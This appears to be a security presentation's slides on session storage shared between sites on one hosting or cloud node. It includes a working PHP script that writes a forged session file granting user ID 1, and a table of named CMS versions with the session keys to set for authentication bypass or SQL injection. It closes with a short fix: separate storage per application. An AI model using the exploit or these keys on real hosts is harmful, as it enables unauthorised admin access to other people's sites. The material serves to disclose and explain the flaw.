Session management errors in cloud solutions and in classic hosting systems.
Plan:

- Description of the problem.
- Intersection session keys on shared hosting.
- Shared session on cloud.
- How to protect.
Description of the problem:

1. Session have shared storage.
   1.1 Random access to sessions.
   1.2 There is no possibility to change the format of session.
2. Poor separation session storage.
Session have shared storage:

Example 1.1:
Random access to session.

An attacker could manipulate the session on any host within a server node.
Classic example:

System ;Linux srv1337.hostingtrololo.com
session.save_path;/tmp;/tmp

session.save_path tcp://localhost:11211
Classic example:

srv1337.hostingtrololo.com

blog.trololo.com

hacker.trololo.com

forum.trololo.com

target.trololo.com

session
function loadUserOnSession($user_id='') {
    if (!empty($user_id)) {
        $_SESSION['authenticated_user_id'] = $user_id;
    }

    if (!empty($_SESSION['authenticated_user_id']) || !empty($user_id)) {
        $GLOBALS['current_user'] = new User();
        if ($GLOBALS['current_user']->retrieve($_SESSION['authenticated_user_id'])) {
            return true;
        }
    }

    return false;
}
Exploit:

```php
<?php
session_start();
session_id("99f663527d701e17cb09ee72dece75a7");
$_SESSION['ipaddress']=$_SERVER['REMOTE_ADDR'];
$_SESSION['login_error']='1';
$_SESSION['authenticated_user_id']='1';
session_write_close();
echo file_get_contents('/tmp/sess_99f663527d701e17cb09ee72dece75a7');
echo chmod('/tmp/sess_99f663527d701e17cb09ee72dece75a7',0755);
?>
```
## Vulnerable CMS

<table>
<thead>
<tr>
<th>CMS</th>
<th>Session</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>DataLife 10.0</td>
<td>$<em>SESSION['dle_sort_main'] (and all dle_sort</em>* params ;) )</td>
<td>SQL-Injection</td>
</tr>
<tr>
<td>LiveStreet CMS</td>
<td>$_SESSION['user_id']</td>
<td>Auth-By-pass</td>
</tr>
</tbody>
</table>
| eXtplorer 2.1.4       | $_SESSION['credentials_'.$auth_type]['username']=admin \  
|                       | $_SESSION['credentials_'.$auth_type]['password']=true | Auth-By-pass  |
| TinyCMS 1.4           | $_SESSION['username'], $_SESSION[“security”]=true | Auth-By-pass  |
| SugarCRM 6.5.15       | $_SESSION['authenticated_user_id']            | Auth-By-pass  |
Session have shared storage:

Example 1.2:
There is no possibility to change the format of session.

An attacker can use the intersection of session keys in applications (for example privilege escalation).
Intersection of session keys:

```
# hacker.trololo.com session:
[id, name, password, perm]

# target.trololo.com session:
[username, perm, secret]
```
Intersection of session keys:

Datalife Engine, MODx, LiveStreet CMS, SMF (disabled db sess), PhpMyAdmin, TinyCms, SugarCRM..

In the above feature CMS found no session key intersections.

But the threat is relevant to custom applications.

hacker.trololo.com session: [id, name, password, perm]

target.trololo.com session: [username, perm, secret]
Poor separation sessions storage:

An attacker could exploit the situation and perform failover storage cases previously cited examples.
Cloud node:

```
hacker.trololoblog.com
[uname, pass, rights]

admin
same

registered
[uname, pass, rights]
target.trololoblog.com
```
Cloud node:

Consider a practical example: Failover storage memcache or database work like writing to a file - thus arrive at the case host, if it is possible to write to a file on the same client, get access to all the other on the same node.
How to protect:

Session storage is necessary to use separate storage \ prefixes for each application.
The End.

Thank you for your attention!
More:

http://www.supernifty.org/blog/2008/04/19/php-sessions-on-shared-hosting-hack-3/
http://stackoverflow.com/questions/6671781/are-php-sessions-stored-in-tmp-on-shared-hosting-safe